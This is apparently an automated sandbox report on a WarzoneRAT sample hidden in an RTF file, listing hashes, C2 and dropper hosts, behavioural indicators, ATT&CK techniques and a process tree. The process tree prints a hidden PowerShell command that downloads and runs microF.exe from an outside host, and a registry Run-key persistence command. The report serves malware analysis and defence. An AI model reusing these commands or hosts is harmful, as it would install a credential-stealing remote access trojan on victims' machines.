warzonerat | 2214bdc78b558176a17484bcc02079a5470e0b49073d50d19b522d67dc4396e3

Analysis

max time kernel
149s
max time network
194s
platform
windows7_x64
resource
win7v20210408
submitted
30-07-2021 15:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

52969fae09c2428c701a8b51a20c1eb07bab1bca79acb21eaa910d764533155d.rtf
Size

1.0MB
MD5

28463ecd87dbf6503d58e158785965ac
SHA1

12c8088fc0ac36692e9067a1e28c1ef7bf46de46
SHA256

52969fae09c2428c701a8b51a20c1eb07bab1bca79acb21eaa910d764533155d
SHA512

fa9ad0f8a0de9120e0e6439548f7c3c2c22399b06818e3baaacb0ed5306610a385c594a7c7a763509e47bcfa0aa105c9480ebd37f810b7e756eff17697051061

Score

10^/10

warzonerat infostealer persistence rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

httP://hutyrtit.ydns.eu/microF.exe

Extracted

Family

warzonerat

sdafsdffssffs.ydns.eu:6703

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	976	1724	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1140	1724	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	992	1724	powershell.exe	24

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	976	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
1956	microF.exe
1904	microF.exe
900	microF.exe
240	microF.exe
752	microF.exe
364	images.exe
1656	images.exe
1604	cCBy.blyi.exe
1752	cCBy.blyi.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Loads dropped DLL 15 IoCs

pid	Process
976	powershell.exe
1956	microF.exe
1904	microF.exe
1904	microF.exe
752	microF.exe
364	images.exe
1656	images.exe
288	Process not Found
1604	cCBy.blyi.exe
1656	images.exe
1656	images.exe
1656	images.exe
1656	images.exe
1656	images.exe
1656	images.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	freegeoip.app
15	checkip.dyndns.org
17	freegeoip.app

Modifies WinLogon 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	images.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	images.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\xhdvvza = "0"	images.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	images.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	images.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1956 set thread context of 240	1956	microF.exe	44
PID 1904 set thread context of 752	1904	microF.exe	43
PID 364 set thread context of 1656	364	images.exe	49
PID 1604 set thread context of 1752	1604	cCBy.blyi.exe	56

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Microsoft DN1\sqlmap.dll	images.exe
File created	C:\Program Files\Microsoft DN1\rdpwrap.ini	images.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1724	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
976	powershell.exe
976	powershell.exe
992	powershell.exe
992	powershell.exe
1904	microF.exe
1956	microF.exe
1904	microF.exe
1956	microF.exe
1904	microF.exe
1904	microF.exe
1904	microF.exe
1904	microF.exe
364	images.exe
364	images.exe
1604	cCBy.blyi.exe
1604	cCBy.blyi.exe
1752	cCBy.blyi.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
288	Process not Found
288	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	976	powershell.exe
Token: SeDebugPrivilege	992	powershell.exe
Token: SeDebugPrivilege	1904	microF.exe
Token: SeDebugPrivilege	1956	microF.exe
Token: SeDebugPrivilege	364	images.exe
Token: SeDebugPrivilege	1656	images.exe
Token: SeDebugPrivilege	1604	cCBy.blyi.exe
Token: SeDebugPrivilege	1752	cCBy.blyi.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1656	images.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 976	1724	WINWORD.EXE	31
PID 1724 wrote to memory of 976	1724	WINWORD.EXE	31
PID 1724 wrote to memory of 976	1724	WINWORD.EXE	31
PID 1724 wrote to memory of 976	1724	WINWORD.EXE	31
PID 1724 wrote to memory of 1140	1724	WINWORD.EXE	33
PID 1724 wrote to memory of 1140	1724	WINWORD.EXE	33
PID 1724 wrote to memory of 1140	1724	WINWORD.EXE	33
PID 1724 wrote to memory of 1140	1724	WINWORD.EXE	33
PID 1724 wrote to memory of 992	1724	WINWORD.EXE	35
PID 1724 wrote to memory of 992	1724	WINWORD.EXE	35
PID 1724 wrote to memory of 992	1724	WINWORD.EXE	35
PID 1724 wrote to memory of 992	1724	WINWORD.EXE	35
PID 976 wrote to memory of 1956	976	powershell.exe	37
PID 976 wrote to memory of 1956	976	powershell.exe	37
PID 976 wrote to memory of 1956	976	powershell.exe	37
PID 976 wrote to memory of 1956	976	powershell.exe	37
PID 992 wrote to memory of 1904	992	powershell.exe	38
PID 992 wrote to memory of 1904	992	powershell.exe	38
PID 992 wrote to memory of 1904	992	powershell.exe	38
PID 992 wrote to memory of 1904	992	powershell.exe	38
PID 1724 wrote to memory of 820	1724	WINWORD.EXE	41
PID 1724 wrote to memory of 820	1724	WINWORD.EXE	41
PID 1724 wrote to memory of 820	1724	WINWORD.EXE	41
PID 1724 wrote to memory of 820	1724	WINWORD.EXE	41
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1904 wrote to memory of 900	1904	microF.exe	42
PID 1904 wrote to memory of 900	1904	microF.exe	42
PID 1904 wrote to memory of 900	1904	microF.exe	42
PID 1904 wrote to memory of 900	1904	microF.exe	42
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1956 wrote to memory of 240	1956	microF.exe	44
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 1904 wrote to memory of 752	1904	microF.exe	43
PID 752 wrote to memory of 604	752	microF.exe	45
PID 752 wrote to memory of 604	752	microF.exe	45
PID 752 wrote to memory of 604	752	microF.exe	45
PID 752 wrote to memory of 604	752	microF.exe	45
PID 752 wrote to memory of 364	752	microF.exe	47
PID 752 wrote to memory of 364	752	microF.exe	47
PID 752 wrote to memory of 364	752	microF.exe	47
PID 752 wrote to memory of 364	752	microF.exe	47
PID 604 wrote to memory of 1548	604	cmd.exe	48
PID 604 wrote to memory of 1548	604	cmd.exe	48
PID 604 wrote to memory of 1548	604	cmd.exe	48
PID 604 wrote to memory of 1548	604	cmd.exe	48
PID 364 wrote to memory of 1656	364	images.exe	49
PID 364 wrote to memory of 1656	364	images.exe	49

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\52969fae09c2428c701a8b51a20c1eb07bab1bca79acb21eaa910d764533155d.rtf"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://hutyrtit.ydns.eu/microF.exe','C:\Users\Admin\AppData\Roaming\microF.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\microF.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Users\Admin\AppData\Roaming\microF.exe
    "C:\Users\Admin\AppData\Roaming\microF.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Users\Admin\AppData\Local\Temp\microF.exe
      C:\Users\Admin\AppData\Local\Temp\microF.exe
      4⤵
      Executes dropped EXE
      PID:240
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://hutyrtit.ydns.eu/microF.exe','C:\Users\Admin\AppData\Roaming\microF.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\microF.exe'"
  2⤵
  - Process spawned unexpected child process
  PID:1140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://hutyrtit.ydns.eu/microF.exe','C:\Users\Admin\AppData\Roaming\microF.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\microF.exe'"
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Users\Admin\AppData\Roaming\microF.exe
    "C:\Users\Admin\AppData\Roaming\microF.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Users\Admin\AppData\Local\Temp\microF.exe
      C:\Users\Admin\AppData\Local\Temp\microF.exe
      4⤵
      Executes dropped EXE
      PID:900
  - - C:\Users\Admin\AppData\Local\Temp\microF.exe
      C:\Users\Admin\AppData\Local\Temp\microF.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:752
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "C:\ProgramData\images.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:604
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "C:\ProgramData\images.exe"
        6⤵
        
        PID:1548
    - - C:\ProgramData\images.exe
        
        "C:\ProgramData\images.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:364
      - C:\Users\Admin\AppData\Local\Temp\images.exe
        
        C:\Users\Admin\AppData\Local\Temp\images.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies WinLogon
        Drops file in System32 directory
        Drops file in Program Files directory
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1656
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe"
        7⤵
        
        PID:1564
        
        C:\Users\Admin\AppData\Roaming\cCBy.blyi.exe
        
        "C:\Users\Admin\AppData\Roaming\cCBy.blyi.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1604
        
        C:\Users\Admin\AppData\Local\Temp\cCBy.blyi.exe
        
        C:\Users\Admin\AppData\Local\Temp\cCBy.blyi.exe
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1752
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:820

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/240-148-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/240-158-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/364-167-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/364-165-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/364-179-0x0000000000295000-0x00000000002A6000-memory.dmp

Filesize
68KB

Download
memory/820-129-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

Filesize
8KB

Download
memory/976-68-0x0000000000830000-0x0000000000831000-memory.dmp

Filesize
4KB

Download
memory/976-102-0x0000000005FB0000-0x0000000005FB1000-memory.dmp

Filesize
4KB

Download
memory/976-110-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/976-66-0x0000000000910000-0x0000000000911000-memory.dmp

Filesize
4KB

Download
memory/976-90-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/976-89-0x00000000060B0000-0x00000000060B1000-memory.dmp

Filesize
4KB

Download
memory/976-67-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/976-95-0x00000000060E0000-0x00000000060E1000-memory.dmp

Filesize
4KB

Download
memory/976-78-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

Filesize
4KB

Download
memory/976-69-0x0000000000832000-0x0000000000833000-memory.dmp

Filesize
4KB

Download
memory/976-70-0x0000000001050000-0x0000000001051000-memory.dmp

Filesize
4KB

Download
memory/976-71-0x0000000004790000-0x0000000004791000-memory.dmp

Filesize
4KB

Download
memory/992-93-0x0000000004A12000-0x0000000004A13000-memory.dmp

Filesize
4KB

Download
memory/992-122-0x0000000005970000-0x0000000005971000-memory.dmp

Filesize
4KB

Download
memory/992-92-0x0000000004A10000-0x0000000004A11000-memory.dmp

Filesize
4KB

Download
memory/1140-91-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/1564-183-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/1604-191-0x0000000004B00000-0x0000000004B01000-memory.dmp

Filesize
4KB

Download
memory/1604-199-0x0000000004B05000-0x0000000004B16000-memory.dmp

Filesize
68KB

Download
memory/1656-184-0x0000000001080000-0x0000000001180000-memory.dmp

Filesize
1024KB

Download
memory/1656-180-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/1656-208-0x0000000003EE0000-0x0000000003F56000-memory.dmp

Filesize
472KB

Download
memory/1724-60-0x0000000072C71000-0x0000000072C74000-memory.dmp

Filesize
12KB

Download
memory/1724-61-0x00000000706F1000-0x00000000706F3000-memory.dmp

Filesize
8KB

Download
memory/1724-63-0x00000000769B1000-0x00000000769B3000-memory.dmp

Filesize
8KB

Download
memory/1724-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1752-207-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/1904-130-0x0000000004280000-0x00000000042D7000-memory.dmp

Filesize
348KB

Download
memory/1904-154-0x0000000004C15000-0x0000000004C26000-memory.dmp

Filesize
68KB

Download
memory/1904-139-0x00000000050E0000-0x000000000515B000-memory.dmp

Filesize
492KB

Download
memory/1904-127-0x0000000004C10000-0x0000000004C11000-memory.dmp

Filesize
4KB

Download
memory/1956-157-0x0000000004835000-0x0000000004846000-memory.dmp

Filesize
68KB

Download
memory/1956-121-0x0000000004830000-0x0000000004831000-memory.dmp

Filesize
4KB

Download
memory/1956-119-0x0000000000C20000-0x0000000000C21000-memory.dmp

Filesize
4KB

Download